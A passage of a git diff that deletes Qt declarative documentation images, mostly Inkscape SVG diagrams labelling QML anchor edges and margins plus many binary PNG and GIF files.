xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="258.78955" - y="412.28455" - id="text3661"><tspan - sodipodi:role="line" - id="tspan3663" - x="258.78955" - y="412.28455" - style="font-size:10px">VerticalCenter</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="260.18896" - y="433.27582" - id="text3665"><tspan - sodipodi:role="line" - id="tspan3667" - x="260.18896" - y="433.27582" - style="font-size:10px">Bottom</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="198.96443" - y="376.24954" - id="text3669"><tspan - sodipodi:role="line" - id="tspan3671" - x="198.96443" - y="376.24954" - style="font-size:10px">Left</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="230.55408" - y="375.39383" - id="text3673"><tspan - sodipodi:role="line" - id="tspan3675" - x="230.55408" - y="375.39383" - style="font-size:10px">Right</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="186.71951" - y="355.25827" - id="text3677"><tspan - sodipodi:role="line" - id="tspan3679" - x="186.71951" - y="355.25827" - style="font-size:10px">HorizontalCenter</tspan></text> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;marker-start:url(#Arrow1Mstart)" - d="M 224.2567,375.39382 C 227.40539,356.85154 227.75525,357.20139 227.75525,357.20139" - id="path3681" /> - </g> -</svg> diff --git a/doc/src/declarative/pics/edges_examples.svg b/doc/src/declarative/pics/edges_examples.svg deleted file mode 100644 index 31e9901f..00000000 --- a/doc/src/declarative/pics/edges_examples.svg +++ /dev/null @@ -1,109 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg3885" - sodipodi:version="0.32" - inkscape:version="0.44.1" - inkscape:export-filename="/home/mbrasser/edge4.png" - inkscape:export-xdpi="189.65207" - inkscape:export-ydpi="189.65207" - sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" - sodipodi:docname="edges_examples.svg"> - <defs - id="defs3887" /> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="10000" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2" - inkscape:cx="162.62912" - inkscape:cy="591.92069" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="928" - inkscape:window-height="624" - inkscape:window-x="0" - inkscape:window-y="495" /> - <metadata - id="metadata3890"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="rect3893" - width="50" - height="50" - x="100" - y="414.36218" /> - <rect - style="opacity:1;fill:#fa0c2a;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="rect3895" - width="104" - height="50" - x="150" - y="414.36218" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="109" - y="443.65125" - id="text3897"><tspan - sodipodi:role="line" - id="tspan3899" - x="109" - y="443.65125">rect1</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="186.54297" - y="443.65125" - id="text3901"><tspan - sodipodi:role="line" - id="tspan3903" - x="186.54297" - y="443.65125">rect2</tspan></text> - <rect - style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="rect3905" - width="50" - height="50" - x="254" - y="414.36218" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="263" - y="443.65125" - id="text3907"><tspan - sodipodi:role="line" - id="tspan3909" - x="263" - y="443.65125">rect3</tspan></text> - </g> -</svg> diff --git a/doc/src/declarative/pics/edges_qml.png b/doc/src/declarative/pics/edges_qml.png Binary files differdeleted file mode 100644 index 73f22f92..00000000 --- a/doc/src/declarative/pics/edges_qml.png +++ /dev/null diff --git a/doc/src/declarative/pics/edges_qml.svg b/doc/src/declarative/pics/edges_qml.svg deleted file mode 100644 index 1814ec6b..00000000 --- a/doc/src/declarative/pics/edges_qml.svg +++ /dev/null @@ -1,188 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.44.1" - sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" - sodipodi:docname="edges_qml.svg" - inkscape:export-filename="/home/mbrasser/edges_qml.png" - inkscape:export-xdpi="284.45999" - inkscape:export-ydpi="284.45999"> - <defs - id="defs4"> - <marker - inkscape:stockid="Arrow1Mstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Mstart" - style="overflow:visible"> - <path - id="path3850" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.4) translate(10,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3856" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.8) translate(12.5,0)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="10000" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2.8583315" - inkscape:cx="372.04724" - inkscape:cy="596.15198" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="1279" - inkscape:window-height="969" - inkscape:window-x="0" - inkscape:window-y="0" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" - id="rect1872" - width="33.656742" - height="39.808346" - x="208.86543" - y="390.22763" - rx="5" - ry="5" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733" - id="path2760" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733" - id="path3647" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733" - id="path3649" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956" - id="path3651" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112" - id="path3653" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742" - id="path3655" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="258.54242" - y="393.58627" - id="text3657"><tspan - sodipodi:role="line" - id="tspan3659" - x="258.54242" - y="393.58627" - style="font-size:10px">top</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="258.78955" - y="412.28455" - id="text3661"><tspan - sodipodi:role="line" - id="tspan3663" - x="258.78955" - y="412.28455" - style="font-size:10px">verticalCenter</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="260.18896" - y="433.27582" - id="text3665"><tspan - sodipodi:role="line" - id="tspan3667" - x="260.18896" - y="433.27582" - style="font-size:10px">bottom</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="200.96443" - y="376.24954" - id="text3669"><tspan - sodipodi:role="line" - id="tspan3671" - x="200.96443" - y="376.24954" - style="font-size:10px">left</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="232.55408" - y="375.39383" - id="text3673"><tspan - sodipodi:role="line" - id="tspan3675" - x="232.55408" - y="375.39383" - style="font-size:10px">right</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="190.71951" - y="355.25827" - id="text3677"><tspan - sodipodi:role="line" - id="tspan3679" - x="190.71951" - y="355.25827" - style="font-size:10px">horizontalCenter</tspan></text> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Mstart);stroke-opacity:1" - d="M 226.2567,375.39382 C 229.40539,356.85154 229.75525,357.20139 229.75525,357.20139" - id="path3681" /> - </g> -</svg> diff --git a/doc/src/declarative/pics/extending-tutorial-chapter1.png b/doc/src/declarative/pics/extending-tutorial-chapter1.png Binary files differdeleted file mode 100644 index 9f5836b0..00000000 --- a/doc/src/declarative/pics/extending-tutorial-chapter1.png +++ /dev/null diff --git a/doc/src/declarative/pics/extending-tutorial-chapter2.png b/doc/src/declarative/pics/extending-tutorial-chapter2.png Binary files differdeleted file mode 100644 index 5c8f222a..00000000 --- a/doc/src/declarative/pics/extending-tutorial-chapter2.png +++ /dev/null diff --git a/doc/src/declarative/pics/extending-tutorial-chapter3.png b/doc/src/declarative/pics/extending-tutorial-chapter3.png Binary files differdeleted file mode 100644 index 825553fc..00000000 --- a/doc/src/declarative/pics/extending-tutorial-chapter3.png +++ /dev/null diff --git a/doc/src/declarative/pics/extending-tutorial-chapter5.png b/doc/src/declarative/pics/extending-tutorial-chapter5.png Binary files differdeleted file mode 100644 index 0c2e69e1..00000000 --- a/doc/src/declarative/pics/extending-tutorial-chapter5.png +++ /dev/null diff --git a/doc/src/declarative/pics/flickable.gif b/doc/src/declarative/pics/flickable.gif Binary files differdeleted file mode 100644 index f7a33194..00000000 --- a/doc/src/declarative/pics/flickable.gif +++ /dev/null diff --git a/doc/src/declarative/pics/flipable.gif b/doc/src/declarative/pics/flipable.gif Binary files differdeleted file mode 100644 index fd187906..00000000 --- a/doc/src/declarative/pics/flipable.gif +++ /dev/null diff --git a/doc/src/declarative/pics/gridLayout_example.png b/doc/src/declarative/pics/gridLayout_example.png Binary files differdeleted file mode 100644 index 6b120e96..00000000 --- a/doc/src/declarative/pics/gridLayout_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/gridview-highlight.png b/doc/src/declarative/pics/gridview-highlight.png Binary files differdeleted file mode 100644 index b54af37f..00000000 --- a/doc/src/declarative/pics/gridview-highlight.png +++ /dev/null diff --git a/doc/src/declarative/pics/gridview-simple.png b/doc/src/declarative/pics/gridview-simple.png Binary files differdeleted file mode 100644 index a102939f..00000000 --- a/doc/src/declarative/pics/gridview-simple.png +++ /dev/null diff --git a/doc/src/declarative/pics/highlight.gif b/doc/src/declarative/pics/highlight.gif Binary files differdeleted file mode 100644 index fbef256f..00000000 --- a/doc/src/declarative/pics/highlight.gif +++ /dev/null diff --git a/doc/src/declarative/pics/horizontalpositioner_example.png b/doc/src/declarative/pics/horizontalpositioner_example.png Binary files differdeleted file mode 100644 index 42f90ec7..00000000 --- a/doc/src/declarative/pics/horizontalpositioner_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/imageprovider.png b/doc/src/declarative/pics/imageprovider.png Binary files differdeleted file mode 100644 index 422103cb..00000000 --- a/doc/src/declarative/pics/imageprovider.png +++ /dev/null diff --git a/doc/src/declarative/pics/layoutmirroring.png b/doc/src/declarative/pics/layoutmirroring.png Binary files differdeleted file mode 100644 index df90ac4f..00000000 --- a/doc/src/declarative/pics/layoutmirroring.png +++ /dev/null diff --git a/doc/src/declarative/pics/listmodel-nested.png b/doc/src/declarative/pics/listmodel-nested.png Binary files differdeleted file mode 100644 index ee7ffba6..00000000 --- a/doc/src/declarative/pics/listmodel-nested.png +++ /dev/null diff --git a/doc/src/declarative/pics/listmodel.png b/doc/src/declarative/pics/listmodel.png Binary files differdeleted file mode 100644 index 7ab1771f..00000000 --- a/doc/src/declarative/pics/listmodel.png +++ /dev/null diff --git a/doc/src/declarative/pics/listview-highlight.png b/doc/src/declarative/pics/listview-highlight.png Binary files differdeleted file mode 100644 index dc5c6b3b..00000000 --- a/doc/src/declarative/pics/listview-highlight.png +++ /dev/null diff --git a/doc/src/declarative/pics/listview-simple.png b/doc/src/declarative/pics/listview-simple.png Binary files differdeleted file mode 100644 index 71a1c517..00000000 --- a/doc/src/declarative/pics/listview-simple.png +++ /dev/null diff --git a/doc/src/declarative/pics/margins_qml.png b/doc/src/declarative/pics/margins_qml.png Binary files differdeleted file mode 100644 index d7d73a3f..00000000 --- a/doc/src/declarative/pics/margins_qml.png +++ /dev/null diff --git a/doc/src/declarative/pics/margins_qml.svg b/doc/src/declarative/pics/margins_qml.svg deleted file mode 100644 index 1f0ff022..00000000 --- a/doc/src/declarative/pics/margins_qml.svg +++ /dev/null @@ -1,196 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.44.1" - sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" - sodipodi:docname="margins_qml.svg" - inkscape:export-filename="/home/mbrasser/edges_qml.png" - inkscape:export-xdpi="284.45999" - inkscape:export-ydpi="284.45999"> - <defs - id="defs4"> - <marker - inkscape:stockid="Arrow1Send" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Send" - style="overflow:visible;"> - <path - id="path2976" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;" - transform="scale(0.2) rotate(180) translate(6,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Sstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Sstart" - style="overflow:visible"> - <path - id="path2979" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.2) translate(6,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Mstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Mstart" - style="overflow:visible"> - <path - id="path3850" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.4) translate(10,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3856" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.8) translate(12.5,0)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="10000" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2.8583315" - inkscape:cx="372.04724" - inkscape:cy="596.15198" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="1279" - inkscape:window-height="969" - inkscape:window-x="0" - inkscape:window-y="0" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" - id="rect1872" - width="33.656742" - height="39.808346" - x="208.86543" - y="390.22763" - rx="5" - ry="5" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02602077;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602088, 1.02602088;stroke-dashoffset:0;stroke-opacity:1" - d="M 252.98692,377.00435 C 252.98692,443.05433 253.31077,443.05433 253.31077,443.05433" - id="path3647" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02601969;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602007, 1.02602007;stroke-dashoffset:0;stroke-opacity:1" - d="M 198.35134,377.00433 C 198.35134,443.05431 198.67515,443.05431 198.67515,443.05431" - id="path3649" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1" - d="M 193.94282,437.97112 C 257.43421,437.97112 257.06721,437.97112 257.06721,437.97112" - id="path3653" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1" - d="M 193.94282,380.78742 C 257.43421,380.78742 257.06721,380.78742 257.06721,380.78742" - id="path3655" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="260.29169" - y="388.78741" - id="text1911"><tspan - sodipodi:role="line" - id="tspan1913" - x="260.29169" - y="388.78741" - style="font-size:10px">topMargin</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="259.65204" - y="437.27798" - id="text1915"><tspan - sodipodi:role="line" - id="tspan1917" - x="259.65204" - y="437.27798" - style="font-size:10px">bottomMargin</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="170.07939" - y="454.4209" - id="text1919"><tspan - sodipodi:role="line" - id="tspan1921" - x="170.07939" - y="454.4209" - style="font-size:10px">leftMargin</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="228.47504" - y="454.4209" - id="text1923"><tspan - sodipodi:role="line" - id="tspan1925" - x="228.47504" - y="454.4209" - style="font-size:10px">rightMargin</tspan></text> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92020172px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1" - d="M 225.6938,382.51213 C 225.6938,388.91693 225.6938,388.91693 225.6938,388.91693" - id="path1929" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92007709px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1" - d="M 225.6938,430.56703 C 225.6938,436.97192 225.6938,436.97192 225.6938,436.97192" - id="path3000" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1" - d="M 201.16631,410.1318 C 207.81355,410.1318 207.81355,410.1318 207.81355,410.1318" - id="path3002" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1" - d="M 244.02348,410.1318 C 250.67072,410.1318 250.67072,410.1318 250.67072,410.1318" - id="path3889" /> - </g> -</svg> diff --git a/doc/src/declarative/pics/parentchange.png b/doc/src/declarative/pics/parentchange.png Binary files differdeleted file mode 100644 index 93206fbb..00000000 --- a/doc/src/declarative/pics/parentchange.png +++ /dev/null diff --git a/doc/src/declarative/pics/particles.gif b/doc/src/declarative/pics/particles.gif Binary files differdeleted file mode 100644 index 763a8a86..00000000 --- a/doc/src/declarative/pics/particles.gif +++ /dev/null diff --git a/doc/src/declarative/pics/pathview.gif b/doc/src/declarative/pics/pathview.gif Binary files differdeleted file mode 100644 index 4052eb26..00000000 --- a/doc/src/declarative/pics/pathview.gif +++ /dev/null diff --git a/doc/src/declarative/pics/positioner-add.gif b/doc/src/declarative/pics/positioner-add.gif Binary files differdeleted file mode 100644 index 86e92470..00000000 --- a/doc/src/declarative/pics/positioner-add.gif +++ /dev/null diff --git a/doc/src/declarative/pics/positioner-move.gif b/doc/src/declarative/pics/positioner-move.gif Binary files differdeleted file mode 100644 index 1825c228..00000000 --- a/doc/src/declarative/pics/positioner-move.gif +++ /dev/null diff --git a/doc/src/declarative/pics/positioner-remove.gif b/doc/src/declarative/pics/positioner-remove.gif Binary files differdeleted file mode 100644 index 70865119..00000000 --- a/doc/src/declarative/pics/positioner-remove.gif +++ /dev/null diff --git a/doc/src/declarative/pics/propanim.gif b/doc/src/declarative/pics/propanim.gif Binary files differdeleted file mode 100644 index f86406ee..00000000 --- a/doc/src/declarative/pics/propanim.gif +++ /dev/null diff --git a/doc/src/declarative/pics/qml-context-object.png b/doc/src/declarative/pics/qml-context-object.png Binary files differdeleted file mode 100644 index 1b91aff6..00000000 --- a/doc/src/declarative/pics/qml-context-object.png +++ /dev/null diff --git a/doc/src/declarative/pics/qml-context-tree.png b/doc/src/declarative/pics/qml-context-tree.png Binary files differdeleted file mode 100644 index 6bba5f4f..00000000 --- a/doc/src/declarative/pics/qml-context-tree.png +++ /dev/null diff --git a/doc/src/declarative/pics/qml-context.png b/doc/src/declarative/pics/qml-context.png Binary files differdeleted file mode 100644 index bdf2ecd2..00000000 --- a/doc/src/declarative/pics/qml-context.png +++ /dev/null diff --git a/doc/src/declarative/pics/qml-extending-types.png b/doc/src/declarative/pics/qml-extending-types.png Binary files differdeleted file mode 100644 index 6990d7c1..00000000 --- a/doc/src/declarative/pics/qml-extending-types.png +++ /dev/null diff --git a/doc/src/declarative/pics/qml-gradient.png b/doc/src/declarative/pics/qml-gradient.png Binary files differdeleted file mode 100644 index 5eefdd20..00000000 --- a/doc/src/declarative/pics/qml-gradient.png +++ /dev/null diff --git a/doc/src/declarative/pics/qml-scope.png b/doc/src/declarative/pics/qml-scope.png Binary files differdeleted file mode 100644 index be025c8c..00000000 --- a/doc/src/declarative/pics/qml-scope.png +++ /dev/null diff --git a/doc/src/declarative/pics/qtlogo.png b/doc/src/declarative/pics/qtlogo.png Binary files differdeleted file mode 100644 index 399bd0b1..00000000 --- a/doc/src/declarative/pics/qtlogo.png +++ /dev/null diff --git a/doc/src/declarative/pics/rect-border-width.png b/doc/src/declarative/pics/rect-border-width.png Binary files differdeleted file mode 100644 index e232cf3e..00000000 --- a/doc/src/declarative/pics/rect-border-width.png +++ /dev/null diff --git a/doc/src/declarative/pics/rect-color.png b/doc/src/declarative/pics/rect-color.png Binary files 